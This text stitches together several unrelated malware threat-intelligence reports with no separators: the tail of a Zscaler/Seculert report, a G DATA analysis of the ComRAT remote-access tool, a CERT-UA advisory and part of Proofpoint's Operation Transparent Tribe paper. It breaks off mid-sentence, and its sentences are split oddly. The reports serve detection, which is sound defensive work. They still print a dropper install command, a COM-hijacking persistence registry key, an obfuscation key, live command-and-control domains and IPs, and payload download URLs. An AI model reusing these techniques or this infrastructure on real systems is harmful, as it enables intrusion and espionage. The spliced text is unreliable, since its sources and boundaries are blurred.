(09/15/2009) Conference Lure As noted in the section on the September 23, 2010 malicious phishing incident, the name of the particular malicious attachment was ISSNIP_2010.pdf (see screenshot below) related to the International Conference on Intelligent Sensors, Sensor Networks and Information Processing (ISSNIP)27.
The use of conference related subjects seems to be the popular lure in this actors phishing messages as noted in the above section of related malware.
For example IEEE Aerospace Conference Iraq Peace Conference International Conference on Communication System Software and Middleware (COMSWARE) 27 http://www.issnip.org 11  2012 Zscaler Inc. and Seculert Ltd. All Rights Reserved.
Figure 8 ISSNIP 2010 PDF Screenshot Closing Remarks Zscaler and Seculert experienced separate security incidents against various customers dealing with a threat appearing to be related to specific targeted attacks.
This report provided some insight into the threat and draws in information available in the open-source.
In particular, beaconing patterns and indicators were identified to facilitate detection of the threat.
Additionally, related malware samples (see Appendix A) and malware family names, such as Ovoxual, have been listed for further identification of related samples.
Based on the information available, the threat arrives in phishing emails with a PDF attachment, possibly related to conferences for the particular targeted industry.
The PDF exploits vulnerabilities within Adobe (for example, a 0-day exploit was used against CVE-2010-2883) and drops a series of files to begin communicating with the command and control (CC).
The binary dropped and launched from the PDF exploit is virtual machine (VM) aware in order to prevent analysis within a sandbox.
If a VM is not detected, it will drop an executable (often named msupate.exe), which is also VM aware, and an encrypted file (often named FAVORITES.DAT).
Again, if no VM is detected this executable will decrypt and run the contents in memory as a process (often the svchost.exe process).
Once the infected system communicates with the CC, two versions of the beaconing pattern have been observed.
The most well documented version of the CC beaconing adhere to the general formats: /search[RndNum]?h1[Num1]h2[Num2]h3[String1]h4[String2] /search[RndNum]?h1[String1] /upload[RndNum]?h1[String1] /download[RndNum]?h1[String1] 12  2012 Zscaler Inc. and Seculert Ltd. All Rights Reserved.
A lesser-known beaconing pattern that both Zscaler and Seculert have observed related to this threat adhere to the general formats: /microsoftupdate/getupdate/default.aspx?ID[num1]para1[num2]para2[num3]para3[n um4] /microsoft/errorpost/default/connect.aspx?ID[num1] /microsoft/errorpost/default.aspx?ID[num1] Prior to beaconing with these patterns the malware may issue an initial malformed Google query: GET path: /search?qu GET data: news Use these indicators to help provide detection and remediation of this threat within your enterprise.
This was the overall goal of releasing this information.
Note however, that the overall targeted threat will likely adapt and remain a constant adversary  that is, if your particular organization is the target of an attack it is likely that it will continue to be targeted.
Use this knowledge to adapt your organizations security policies and resources appropriately.
13  2012 Zscaler Inc. and Seculert Ltd. All Rights Reserved.
Appendix A: Consolidated List of Malicious MD5 Hashes The following list is a consolidation of all malicious MD5 hashes listed in this report.
3459BC37967480DEE405A5AC678B942D 6631815D4AB2A586021C24E02E5CC451 3D966CD90D320EA4A319452D1CCB11AA 4EF704239FA63D1C1DFCF2EA2DA0D711 95D42D365489A6E5EBDF62565C5C8AA2 374075CE8B6E8F0CD1F90009FD5A703B 5E3EACA3806769836C3AD9D46A209644 92DBDB7E240E7D7C42B4793380782735 3A0FC856F343B730EE58C00BAB09F9E5 7C3C964D7F164F2CC277B41541732546 B7424AA1C92107E03DBA8915CEB1FE4D 21816D6934F608E0E3F76AA43831D959 53547213038C093EB427974FA0FB4F65 0A229293FD0639C722FD7ABD1D1A9C93 FD5DFFEBD39E9ACA4F79107B6889699D 95AFBECB0BDDE89254DBE07A42685B24 6FF3C8495873AEC4390250EC1ECAA0B1 2EFBF514FBF58E78C259CC87A668BC35 AEDCE18F64EB988F342663EC2C01D017 BDDD2042F5024D2AFC6AA50920E27897 EA12A0DBA22B8B2D2D5662437BED8169 7F37F7CD9B0C1CE6574FF5C385FCF26F 9687E53495898232949DBCD15556B619 2F71666B76EC0E51A40EF5DF3170604A 5622E46F27B8BD7665218E26B024E74D D69BB7935DB5FC15542B98845CF83B89 A2B6C71A153E61EAA1FEA0F2A3A0232B 6AD5D9C546AC603E18FC109025E2F5B7 9C738176C74B7392DD22009736AFC49F 1ABC034E85704A0699D598B16C16A37E 7B470C530794342632F5025C1B948BB0 1006e295156b354d9ec4b6d5b6b0ba65 2F71666B76EC0E51A40EF5DF3170604A 9AA8DD1A765C44B82654581977C7F2FA D78CBD630A1937233B3E4217B19FF5CA BECDA5D5A1C3199A99018A57E43BA2C7 7B470C530794342632F5025C1B948BB0 08EB27A6D8F0260D6853BC5A3F5CAA73
The Uroburos case: new sophisticated RAT identified In February 2014, the experts of the G DATA SecurityLabs published an analysis of Uroburos, the rootkit with Russian roots.
We explained that a link exists between Uroburos and the Agent.
BTZ malware, which was responsible for the most significant breach of U.S. military computers ever.
[
1] Nine months later, after the buzz around Uroburos, aka Snake or Turla, we now identified a new generation of Agent.
BTZ We dubbed it ComRAT and, by now, analyzed two versions of the threat (v3.25 and v3.26).
As reported earlier this year, Agent.
BTZ used the same encoding key and the installation log file name as Uroburos.
ComRAT, in its version 3.25, shows the same behavior.
Furthermore, the attackers also shared a CC domain.
The latest version of ComRAT known to us (v3.26) uses a new key and does not create the installation log file, in order to complicate the analysis and to disguise the link between the two cases.
Another very interesting fact: the attackers use COM Object hijacking, the same persistence mechanism as COMpfun, which we described recently.
Taken everything into consideration, the indications we saw during our analyzes lead to the supposition that the group behind Agent.
BTZ and Uroburos is still active and is pursuing the Agent.
BTZ path once more to improve and change the RAT.
Dropper The analyzed file is the latest version we identified: v3.26.
The version identification is described in the chapter Log files.
The major difference between this version and the older version(s) will be described there.
File installation The first task of the malware is to install the file credprov.tlb in APPDATA\Microsoft\.
This file is the main payload of the malware.
The dropper executes the following command in order to install a second file: rundll32.exe APPDATA\Microsoft\credprov.tlb,Install APPDATA\Microsoft\shdocvw.tlp The second file is shdocw.tlp.
The two files are Microsoft Windows dynamic libraries.
Persistence To be started during the boot process of the infected machine, the malware creates the following registry key: HKCU\Software\Classes\CLSID\42aedc87-2188-41fd-b9a3-0c966feabec1\InprocServer32 APPDATA\shdocvw.tlp This registry key is used to associate the library shdocvw.tlp to the object 42aedc87-2188-41fd-b9a3-0c966feabec1 as previously explained in the article about COMpfun.
The purpose is to load the library into each and every process executed on the infected system.
https://blog.gdatasoftware.com/blog/article/com-object-hijacking-the-discreet-way-of-persistence.html https://blog.gdatasoftware.com/blog/article/com-object-hijacking-the-discreet-way-of-persistence.html Droppers log file If the version of the malware is older than 3.26, the dropper creates an additional file called winview.ocx.
We noticed that the file name is still the same as the file name used by Agent.
BTZ in the past.
The file is xored with the following obfuscation key (used by both, Uroburos and Agent.
BTZ): 1dM3uu4j7Fw4sjnbcwlDqet4F7JyuUi4m5Imnxl1pzxI6as80cbLnmz54cs5Ldn4ri3do5L6gs923HL34x2f5cvd0fk6c1a0s Here is the decoded log file content: user1gdata ./decode.py winview.ocx Log begin: 06.11.2014 22:55:55 TVer2.2 06.11.2014 22:55:55 TVer2.3 06.11.2014 22:55:55 CFG: CFG_4 06.11.2014 22:55:55 User: user1 06.11.2014 22:55:55 Machine: x86 06.11.2014 22:55:55 Removing C:\Documents and Settings\user1\Application Data\\Microsoft\\shdocvw.tlb [2] 06.11.2014 22:55:55 Removing C:\Documents and Settings\user1\Application Data\\Microsoft\\oleaut32.dll [2] 06.11.2014 22:55:55 Removing C:\Documents and Settings\user1\Application Data\\Microsoft\\oleaut32.tlb [2] 06.11.2014 22:55:55 Removing C:\Documents and Settings\user1\Application Data\\Microsoft\\credprov.tlb [2] 06.11.2014 22:55:55 Removing C:\Documents and Settings\user1\Application Data\\Microsoft\\libadcodec.dll [2] 06.11.2014 22:55:55 Removing C:\Documents and Settings\user1\Application Data\\Microsoft\\libadcodec.tlb [2] 06.11.2014 22:55:55 Writing C:\Documents and Settings\user1\Application Data\\Microsoft\\shdocvw.tlb 51200B Ok 06.11.2014 22:55:56 Writing C:\Documents and Settings\user1\Application Data\\Microsoft\\credprov.tlb 260096B Ok 06.11.2014 22:55:57 Exit code1 0 06.11.2014 22:55:57 Writing 3072B Ok We can notice that the malware checks if an older version is installed on the system and if this is the case, the dropper removes the older version.
In contrast to this, in our Uroburos analysis, we found out that Uroburos does not install itself in case a version of Agent.
BTZ was found on a system.
Execution flow and features During the startup of the infected machine, the shdocvw.tlp library is loaded into all processes.
If the process is explorer.exe, this library will load the other library called credprov.tlb.
This library is the real payload.
Its features are common for a Remote Administration Tool (RAT): command execution file download file upload information gathering.
ComRATs communication to the command and control server is performed by the browser process and not by explorer.exe in order to avoid being blocked by a firewall on the system or any additional security products.
The communication between the processes is performed by named pipe.
Log files Two log files are created during the malware execution: mskfp32.ocx and msvcrtd.tlb.
If the malware version is older than 3.26, the xored key is the same as the dropper key.
Concerning the version 3.26, the malware uses a new non-ASCII key.
Here is an example of decoded log file for the version 3.26: user1gdata ./decode.py mskfp32.ocx ?
xml version1.0 encodingunicode?
Ch TVer2.1/TVer AppendLog0/AppendLog add keyId value168466483094462 / add keyPVer value3.26 / add keyOSVer value512600 Service Pack 30 / add keyMachine valuex86 / add keyCryptKeyType value3 / add keyCryptKeyId value0 / add keIsAdmin value1 / add keyHttp idx1 value4294967295 / add keyHttp idx2 value4294967295 / add keyHttp timeout value60 / add keyTime value06:11:2014 15:54:34 / add keyBias value-2 / add keyPcName valueUSER1-ABC1234 / add keyUserName valueuser1 / add keyWinDir valueC:\\WINDOWS / add keyTempDir valueC:\\DOCUME1\\user1\\LOCALE1\\Temp\\ / add keyWorkDir valueC:\\ Documents and Settings\user1\Application Data\\Microsoft\\ / /Ch We can identify the version of the malware thanks to the PVer flag.
The command and control server information is stored in the registry, not in an XML, and encoded: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\SessionMRU\IPlace For example, in the analyzed sample the CC is: weather-online.hopto.org.
This domain is far from unknown, as it has been mentioned in BAE Systems Uroburos (aka Snake) analysis paper as CC server domain for the Uroburos malware.
Another connection between the cases.
If the malware version in lower than 3.26, the XML log file contains the command and control server information: http://info.baesystemsdetica.com/rs/baesystems/images/snake_whitepaper.pdf [] add keIsAdmin value1 / add keyHttp address valuewebonline.mefound.com / add keyHttp address valuesportacademy.my03.com / add keyHttp address2 valueeasport-news.publicvm.com / add keyHttp address2 valuenew-book.linkpc.net / add keyHttp idx1 value4294967295 / [] Summary Let us summarize the similarities and differences between Agent.
BTZ, Uroburos and ComRAT as far as we can: Similarities: Before version 3.26: use of the same xor key use of the same file name for the log On all versions: Some parts of the code are exactly the same (appears to be copy  paste) That is the reason why the sample is detected as Uroburos (aka Turla).
The same code was used by Agent.
BTZ and also the dll loaded into userland during the Uroburos analysis.
Command and control server domains are shared between Uroburos and ComRAT.
Differences: In version 3.26, the author changed the key and remove the known file name This action can be an indication for the developers effort to hide this connection The main difference is the design Agent.
BTZ is a common RAT, a simple library executed on an infected machine.
ComRAT is more complex and cleverer.
The malware is loaded into each and every process of the infected machine and the main part (payload) of the malware is only executed in explorer.exe.
Furthermore, the CC communication blends into the usual browser traffic and the malware communicates to the browser by named pipe.
It is by far a more complex userland design than Agent.
BTZ.
These differences, mainly the more complex design, lead us to give this malware a new name.
The analyzed dropper of v3.25 has a compilation date of February 6th 2014.
The more recent dropper of v3.26, which has all the mentioned changes implemented, reveals a compilation date of January 3rd 2013.
We suspect that this date is spoofed in order to disguise that this is in fact a newer version.
Conclusion This analysis shows that even after the Uroburos publication in February 2014, the group behind this piece of malware seems to be still active.
In any case, the ComRAT developers implemented new mechanisms, changed keys, removed log files to hide their activities and tried to disguise the connections between the RAT ComRAT, the rootkit Uroburos and the RAT Agent.
BTZ as much as possible.
However, we can still follow the evolution of the malware by comparing the versions.
The persistence mechanism discovered in October 2014 makes it possible to intrude into a system in a really discreet manner and we estimate that other actors will use the same persistence mechanism in the near future.
We will definitely keep our ears and eyes open and continue analyzing.
IOC MD5 51e7e58a1e654b6e586fe36e10c67a73    (dropper v3.25) e6ce1f962a47479a86ff2e67129f4ecc    (lib1, v3.25) ec7e3cfaeaac0401316d66e964be684e    (lib2, v3.25) 0ae421691579ff6b27f65f49e79e88f6    (dropper v3.26) 255118ac14a9e66124f7110acd16f2cd    (lib1 v3.26) b407b6e5b4046da226d6e189a67f62ca    (lib2, v3.26) 8ebf7f768d7214f99905c99b6f8242dc    (dropper, unknown version) 9d481769de63789d571805009cbf709a    (dropper, unknown version) 83a48760e92bf30961b4a943d3095b0a    (lib 64-Bit, unknown version) ea23d67e41d1f0a7f7e7a8b59e7cb60f    (lib 64-Bit unknown version) Paths APPDATA\\Microsoft\\shdocvw.tlb APPDATA\\Microsoft\\oleaut32.dll APPDATA\\Microsoft\\oleaut32.tlb APPDATA\\Microsoft\\credprov.tlb APPDATA\\Microsoft\\libadcodec.dll APPDATA\\Microsoft\\libadcodec.tlb Registry HKCU\Software\Classes\CLSID\42aedc87-2188-41fd-b9a3-0c966feabec1\InprocServer32 Command and control weather-online.hopto.org webonline.mefound.com sportacademy.my03.com easport-news.publicvm.com new-book.linkpc.net ------------------------------- Related articles: October 30th 2014: COM Object hijacking: the discreet way of persistence June 2nd 2014: Analysis of Uroburos, using WinDbg May 13th 2014: Uroburos rootkit: Belgian Foreign Ministry stricken March 3rd 2014: Uroburos - Deeper travel into kernel protection mitigation February 28th 2014: Uroburos - highly complex espionage software with Russian roots ------------------------------- [1] www.foreignaffairs.com/articles/66552/william-j-lynn-iii/defending-a-new-domain http://com/ https://blog.gdatasoftware.com/blog/article/analysis-of-uroburos-using-windbg.html https://blog.gdatasoftware.com/blog/article/uroburos-rootkit-belgian-foreign-ministry-stricken.html https://blog.gdatasoftware.com/blog/article/uroburos-deeper-travel-into-kernel-protection-mitigation.html https://blog.gdatasoftware.com/blog/article/uroburos-highly-complex-espionage-software-with-russian-roots.html http://www.foreignaffairs.com/articles/66552/william-j-lynn-iii/defending-a-new-domain
1/2 CERT-UA cert.gov.ua/article/38374 general information The Governmental Computer Emergency Response Team of Ukraine CERT-UA received information on the distribution of e-mails on the topic Wage arrears among government agencies of Ukraine.
Attached to the letter is the document Wage arrears.xls, which contains legitimate statistics and macros.
At the same time, hex-coded data has been added to the mentioned document as an attachment.
The macro, after activation, will decode the data, create the EXE-file Base-Update.exe on the computer and execute it.
This file is a downloader developed using the GoLang programming language.
The program will download and run another bootloader, which, in turn, will download and run malware GraphSteel and GrimPlant on your computer.
The detected activity is associated with the activity of the group UAC-0056.
Indicators of compromise Files: da305627acf63792acb02afaf83d94d1 c1afb561cd5363ac5826ce7a72f0055b400b86bd7524da43474c94bc480d7eff Wage arrears.xls 06124da5b4d6ef31dbfd7a6094fc52a6 9e9fa8b3b0a59762b429853a36674608df1fa7d7f7140c8fccd7c1946070995a Base-Update.exe (GoDownloader) 36ff9ec87c458d6d76b2afbd5120dfae 8ffe7f2eeb0cbfbe158b77bbff3e0055d2ef7138f481b4fac8ade6bfb9b2b0a1 java-sdk.exe (GoDownloader) 4a5de4784a6005aa8a19fb0889f1947a 99a2b79a4231806d4979aa017ff7e8b804d32bfe9dcc0958d403dfe06bdd0532 oracle-java.exe (GrimPlant) 6b413beb61e46241481f556bb5cdb69c c83d8b36402639ea3f1ad5d48edc1a22005923aee1c1826afabe27cb3989baa3 microsoft- cortana.exe (GraphSteel) (2022-03-20) Network: hxxp: // 194 [.]
31.98.124: 443 / i hxxp: // 194 [.]
31.98.124: 443 / p hxxp: // 194 [.]
31.98.124: 443 / m ws: // 194 [.]
31.98.124: 443 / c 194 [.]
31.98.124 https://cert.gov.ua/article/38374 2/2 Hosts: TMP \ Base-Update.exe USERPROFILE \.
Java-sdk \ java-sdk.exe USERPROFILE \.
Java-sdk \ oracle-java.exe USERPROFILE \.
Java-sdk \ microsoft-cortana.exe Graphic images
Operation Transparent Tribe Threat Insight Introduction Proofpoint researchers recently uncovered evidence of an advanced persistent threat (APT) against Indian diplomatic and military resources.
Our investigation began with malicious emails sent to Indian embassies in Saudi Arabia and Kazakstan but turned up connections to watering hole sites focused on Indian military personnel and designed to drop a remote access Trojan (RAT) with a variety of data exfiltration functions.
Our analysis shows that many of the campaigns and attacks appear related by common IOCs, vectors, payloads, and language, but the exact nature and attribution associated with this APT remain under investigation.
At this time, the background and analysis in this paper provide useful forensics and detail our current thinking on the malware that we have dubbed MSIL/Crimson.
Attack against Indian Embassies in Saudi Arabia and Kazakhstan On February 11, 2016, we discovered two attacks minutes apart directed towards officials at Indian embassies in both Saudi Arabia and Kazakhstan.
Both e-mails (Fig.
1, 2) were sent from the same originating IP address (5.189.145[.
]248) belonging to Contabo GmbH, a hosting provider that seems to be currently favored by these threat actors.
The e-mails also likely utilized Rackspaces MailGun service and both of them were carrying the same exact attachment.
Emails: 4a0728a48c393a480dc328c0e972d57c5493ee5619699e9c21ff7e800948c8e8,def.astana def.astanamea.
gov.in 839569f031a2cb6e9ae1dc797b1bd7cce53d3528c8b5fbec21cecb0de3f5ac88,def.riyadh def.riyadhmea.
gov.in Attachment: 3966f669a6af4278869b9cce0f2d9279, Harrasment (sic) Case Shakantula.doc exploit: CVE-2012-0158 Doc dropped: 6a69cd7a2cb993994fccec7b7e99c5daa5ec8083ba887142cb0242031d7d4966,svchost.exe functionality: downloader Author: Darien Huss 2 Figure 1: First email sent to Embassy of India, Astana, Kazakhstan Figure 2: Second email sent to Embassy of India, Riyadh, Kingdom of Saudi Arabia 3 In this incident, the attachment was a weaponized RTF document utilizing CVE-2012-0158 to drop an embedded, encoded portable executable (PE).
To decode the embedded PE, the documents shellcode first searches for the 0xBABABABA marker that, when found, will indicate the beginning position of the PE (Fig.
3).
The PE is then decoded using the key 0xCAFEBABE while skipping null DWORDs (Fig.
4).
A final marker indicates the end of the PE file, which, in this case, is the marker 0xBBBBBBBB.
This decode routine, including other components of the exploit document, have been discussed before and have been observed in completely unrelated incidents.
Figure 3: Shellcode searching for 0xBABABABA marker 4 Figure 4: Decoding of encoded PE and searching for terminator marker After successful exploitation and decoding of the embedded payload, a family of malware we refer to as MSIL/ Crimson will be executed on the victims machine.
The first stage in infection is a downloader whose purpose is to download the more fully featured RAT component.
The MSIL/Crimson downloader that was dropped (md5: 3a67ebcab5dc3563dc161fdc3c7fb161) will attempt to download the full RAT from 213.136.87[.
]122:10001 (Fig.
5).
A full description and analysis of the MSIL/Crimson malware family is provided in the Technical Analysis section.
5 Figure 5: MSIL/Crimson downloading RAT Fake blog with an Indian military emphasis leads to MSIL/Crimson and more While conducting research related to MSIL/Crimson, Proofpoint researchers discovered a malicious blogspot.com site (Fig.
6), intribune.blogspot[.
]com, that appears to have been set up to lure Indian military officials into becoming infected with MSIL/Crimson, njRAT, and possibly other malicious tools.
This site is likely operated by the same actor(s) that carried out the previously discussed attacks on Indian embassy officials based on shared CC infrastructure as discussed in the Cluster Analysis section.
Most of the published stories contain some method of directing potential victims to a malicious payload, although a few of the stories did not contain any malicious code at time of analysis.
In the following articles from this site, we see the threat actors conducting their malicious activities in multiple ways: 1.
Using hyperlinks via an image or text 2.
Using the same hypertext link in the article text, on the storys image, and in an iframe 3.
The final article in this section contains a link to an additional website that is likely operated by the same threat actor(s) and connected to other email campaigns Lure articles 4 Sikh Army Officers being trialed in military court on alleged involvement with KLF Link: hxxp://intribune.blogspot[.
]com/2015/11/4-sikh-army-officers-being-trialed-in.html Malicious Document Location: hxxp://bbmsync2727[.
]com/news/420Sikh20Army20Officers20being20trialed.
doc Document: 0197ff119e1724a1ffbf33df14411001 Type: Exploit,CVE-2012-0158,Embedded Payload Dropped: njRAT - 27ca136850214234bcdca765dfaed79f CC: 5.189.145[.
]248:10032 6 Figure 6: Article lure leading to exploit document capable of installing njRAT on vulnerable machines Figure 7: Decoy document dropped by 4 Sikh Army Officers being trialed.doc One notable difference between this article and the rest is that it contained an iframe pointing to the same document linked to via the Read More hyperlink.
This iframe causes visitors to be prompted to download the document immediately upon visiting, as well as from the top level of the malicious website.
Figure 8: Iframe linking to malicious document 7 Seventh pay commission recommends overall hike of 23.55 Link: hxxp://intribune.blogspot[.
]com/2015/11/seventh-pay-commission-recommends.html At time of analysis, this web page contained no malicious links however, we discovered a document that was likely either prepared for this page or was previously linked to by this page.
Malicious Document Location: hxxp://bbmsync2727[.
]com/cu/seventh20pay20commission20salary20calculator.
xls Document: 0e93b58193fe8ff8b84d543b535f313c Additional Document Location: hxxp://bbmsync2727[.
]com/cu/awho_handot_2015.xls VBS Location: hxxp://bbmsync2727[.
]com/cu/su.exe Payload (older): 07e44ffcffde46ad96eb9c018bed6193 (DarkComet) CC (older): 5.189.145[.
]248:1453 Payload (newer): 708a1af68d532df35c34f7088b8e798f (Luminosity Link RAT) CC (newer): 5.189.145.248:6318 Figure 9: Article lure with no link but likely lead to DarkComet or other malware 8 Army Air Defence (sic),Engineers and Signal to get additional colonels posts Link: hxxp://intribune.blogspot[.
]com/2015/11/army-air-defenceengineers-and-signal-to.html Malicious Document Location: hxxp://birthdaywisheszone[.
]com/pml/army-air-defenceengineers-and-signal.doc Document: 68773f362d5ab4897d4ca217a9f53975 Type: Exploit,CVE-2012-0158,Embedded Payload Dropped: dac4f8ba3190cfa1f813e79864a73fe1 (MSIL/Crimson Downloader) CC: 213.136.87[.
]122:10001 Downloaded MSIL/Crimson RAT:  f078b5aeaf73831361ecd96a069c9f50 Figure 10: Article lure ultimately leading to MSIL/Crimson RAT 9 Figure 11: Decoy document dropped by army-air-defenceengineers-and-signal.doc SC Seeks Army response on batch parity in officers promotion Link: hxxp://intribune[.]blogspot[.
]com/2015/09/sc-seeks-army-response-on-batch-parity.html Malicious Document Location: hxxp://www[.]avadhnama[.
]com/latest/batchparity-command-exit-policy.doc Unfortunately we have not been able to retrieve the document hosted at that location however, another file was located in the same directory: Location: hxxp://avadhnama[.
]com/latest/ssbs.exe Hash: df6b3946d1064f37d1b99f7bfae51203 (MSIL/Crimson Downloader) CC: 213.136.87.122:10001 Downloaded MSIL/Crimson RAT: c2bc8bc9ff7a34f14403222e58963507 10 Figure 12: Article lure possibly leading to MSIL/Crimson RAT Seniors Juniors and coursemates please take a serious note about it Location: hxxp://intribune[.]blogspot[.
]com/2015/05/seniors-juniors-and-coursemates-please.html Potential Payload Location: hxxp://sms[.]totalworthy[.
]com/intribune.zip Unfortunately we have been unsuccessful in retrieving intribune.zip and are unsure what, if any, payloads it may have contained.
11 Figure 13: Article lure leading to likely malicious payload in the past AWHO Defence (sic) and Para-Military Forces Personnel Plots Scheme 2016 Link: hxxp://intribune[.]blogspot[.
]com/2015/07/awho-defence-and-para-military-forces.html Malicious Document Location: hxxp://bbmsync2727[.
]com/upd/AWHO-Upcoming-Projects.doc Document: 1f82e509371c1c29b40b865ba77d091a Type: Exploit,CVE-2012-0158,Embedded Payload Dropped: 643d6407cd9a4f1c6d2742f24aed34f5 (MSIL/Crimson Downloader) CC: 213.136.87.122:10001 Downloaded MSIL/Crimson RAT: 0e3e81f4d2054746f74442075f82a5c5 12 Figure 14: Article lure ultimately leading to MSIL/Crimson and another malicious website 13 The AWHO article contains a link to hxxp://cdrfox[.
]xyz/ via the  GET CALL DETAIL RECORDS ONLINE hyperlink.
This website is likely operated by the same actor(s) and is capable of delivering a VBS-based malicious document to unsuspecting victims (Fig.
15).
Again, there is an obvious India-targeted theme that suggests this malicious website is specifically targeted at that nation.
After using the number submission form, victims are directed to another page containing the final link to download a malicious document (Fig.
16).
Figure 15: Landing page for cdrfox[.
]xyz 14 Figure 16: Download File lure containing document that ultimate leads to Crimson Downloader Document Details Location: hxxp://fileshare[.]attachment[.
]biz/?att1455255900 Document: 18711f1db99f6a6f73f8ab64f563accc Document Name: Call Details Record.xls Type: VBS Macro VBS Location: hxxp://afgcloud7[.
]com/logs/ssc.mcom Payload: 3cc848432e0ebe25e4f19effdd92d9c2 (MSIL/Crimson Downloader) Downloaded MSIL/Crimson RAT: 463565ec38e4d790a89eb592435820e3 Additional payloads were found on the same server but in a different directory: hxxp://afgcloud7[.
]com/com/psp.dlc-bk (hash: 62d254790834f30a79ee79305d9be837, also previously named psp.dlc) hxxp://afgcloud7[.
]com/com/psp.dlc (hash: dd0fc222852f5d12fda2fb66e61b22f6)hxxp://afgcloud7[.
]com/upld/updt.dll (hash: 0ad849121b4656a239e85379948e5f5d) Both files in the /com/ directory are malicious droppers that ultimately drop a decoy Excel spreadsheet and a MSIL/Crimson downloader.
The spreadsheet is themed towards the Armed Forces Officials Welfare Organization (AFOWO) located in India, while the dropped downloader and downloaded RAT communicate with the same CC as many of the previously discussed samples.
An Excel spreadsheet named AFOWO Broucher 2016.xls (hash: 98bdcd97cd536ff6bcb2d39d9a097319) was also found containing a malicious macro that attempts to download a payload from hxxp://afgcloud7[.
]com/com/psp.dlc .
Additionally, the IP address (50.56.21[.
]178) resolved from email.
books2day.com (used in the embassy attacks).
This IP has also recently resolved to email.afowoblog[.
]in.
We would not be surprised if an email address using afowoblog.in was used to send the malicious AFOWO Broucher 2016.xls spreadsheet.
Additional research related to this domain is provided in the Cluster Analysis section.
62d254790834f30a79ee79305d9be837 / dd0fc222852f5d12fda2fb66e61b22f6: Dropped Decoy Dropper: 29054da7a1f1fbd0cb3090ee42335e54 Decoy Document: 66cd38a03282b85fceec42394190f420 Payloads: 83a8ce707e625e977d54408ca747fa29 or 2c9cc5a8569ab7d06bb8f8d7cf7dc03a (both MSIL/Crimson Downloader) CC: 213.136.87.122:10001 Downloaded MSIL/Crimson RAT: 463565ec38e4d790a89eb592435820e3 0ad849121b4656a239e85379948e5f5d The payload found in the /upld/ directory (md5: 0ad849121b4656a239e85379948e5f5d) is the MSIL/Crimson SecApp module capable of downloading the full MSIL/Crimson RAT and all subsequent modules.
Additionally, this payload drops a decoy document (Fig.
17) with the filename: Cv of IMA Chief.docx (hash: 8e5610d88c7fe08ac13b1c9f8c2c44cc).
The decoy document contains information regarding a possible Brigadier General whose last and current position (according to the decoy) is the Chief of International Military Affairs Department Ministry Defence (sic) of Afghanistan.
15 Figure 17: Decoy document dropped by 0ad849121b4656a239e85379948e5f5d Cluster Analysis In this section we will present our research surrounding the use of the MSIL/Crimson implant and campaigns that are part of Operation Transparent Tribe.
Even though the tool may possibly be used by several threat actors, our research indicates that the hundreds of Crimson samples may be clustered into a much smaller set of activity as described below.
Cluster 1 - Operation Transparent Tribe and More The first cluster is the largest with activity from over one hundred samples dating as far back as 2012 (Fig.
18).
For this cluster, we started our analysis beginning with the email attacks on the Indian embassies and the fake Indian news blog.
The activity surrounding those two events uncovered numerous other samples hosted on attacker-controlled CC that then lead to at least one additional email attack campaign.
On one of the CCs we discovered a Python-based RAT (Python/Peppy) whose activity very closely clusters to Operation Transparent Tribe.
We have also observed this RAT being downloaded and executed along with MSIL/Crimson by Andromeda downloaders.
In addition to Crimson and Peppy, we have observed the usage of Luminosity Link RAT, njRAT, Bezigate, Meterpreter, and several custom downloaders.
16 Figure 18: Maltego graph of cluster 1 activity (click here for the complete graph) The attackers responsible for this activity appear have to used a mixture of compromised infrastructure (e.g., sahirlodhi[.]
com) and infrastructure owned solely by them (e.g., bbmsync2727[.
]com).
In many cases, the attackers used common patterns in naming their domains: sync in domain name and file name Repeated use of bb in domain name or filename, mostly bbm Ending second level domain names in four digits Additionally, this cluster of activity has numerous instances where Contabo GmbH was used for CC.
However we never used that as a sole item to group activity together under this cluster.
Next, we will discuss an additional email attack, the attachment.biz activity, and lastly the afowoblog.in domain, all of which we believe fall into this cluster.
Email campaign using 2016 Pathankot attack Lure While researching this activity, we discovered an additional email attack campaign using the 2016 Pathankot attack as a lure (Fig.
19).
This attack utilized a URL (hxxp://comdtoscc.attachment[.
]biz/?att1451926252) to deliver a compressed file (md5: f689471d59e779657bc44da308246ac4) containing two MSIL/Crimson payloads using 193.37.152[.
]28:9990 as their CC.
Figure 19: email campaign using 2016 Pathankot attack as a lure The attackers further increased the believability of their attack by including decoy files with each of the MSIL/Crimson payloads: Sample 1: 65f6143d69cb1246a117a704e9f07fdc Original name: Call Record and Tracking Route.scr Dropped decoy: 2f821d8c404952495caae99974601e96,Audio file with image (Fig.
20) Decoy name: Call Record and Tracking Route.mp3 17 Figure 20: Audio file decoy, likely discussing Pathankot attack Sample 2: 723d85f905588f092edf8691c1095fdb Original name: detail behind the scenes.scr Dropped decoy: a523b090e9a7e3868d8d1fde3e1ec57d,PDF (Fig.
21) Decoy name: detail behind the scenes.pdf 18 Figure 21: Pathankot attack decoy 19 ATTACHMENT.BIZ domain We discovered additional activity surrounding the attachment.biz domain that is being used to deliver malicious documents and payloads.
The observed domains include: fileshare.attachment[.
]biz comdtoscc.attachment[.
]biz ceengrmes.attachment[.
]biz email.attachment[.
]biz (no links discovered) All of the domains resolve to the same IP, 91.194.91[.
]203 (Contabo GmbH).
So far we have detected three separate campaigns, although were unsure of the starting point for each of these incidents but are highly confident they exist in this cluster of activity.
Link 1: hxxp://ceengrmes.attachment[.
]biz/?att1450603943 Payload: 07defabf004c891ae836de91260e6c82, MSIL/Crimson Payload name: Accn Letter.scr CC: 5.189.143[.
]225:11114 Link 2: hxxp://fileshare.attachment[.
]biz/?att1455264091 Payload: 18711f1db99f6a6f73f8ab64f563accc,XLS VBS-downloader Payload name: Air India Valid Destinations.xls Same payload as delivered by hxxp://fileshare[.]attachment[.
]biz/?att1455255900 from the attackers cdrfox.xyz site Link 3: hxxp://comdtoscc.attachment[.
]biz/?att1453788170 Payload: 45d3130a901b7a763bf8f24a908b1810,compressed archive Payload name: Message.zip Decompressed Payload: 765f0556ed4db467291d48e7d3c24b3b, MSIL/Crimson Decompressed payload name: Message.scr CC: 193.37.152[.
]28:9990 AFOWOBLOG.IN Domain We have uncovered circumstantial evidence indicating that the afowoblog.in domain falls into this cluster of activity.
The domain was registered on or near February 24th, 2016 using the email address thefriendsmediagmail.com, which is also close to the same day that the AFOWO Broucher 2016.xls attachment was uploaded to VT.
We have detected potentially connected activity as far back as June 2013 using the domain thefriendsmedia[.
]com , where it was used as an Andromeda CC.
In one instance (Fig.
22, maltego graph), we observed an Andromeda payload communicate with brooksidebiblefellowship[.
]org to retrieve an additional Andromeda payload from lolxone[.
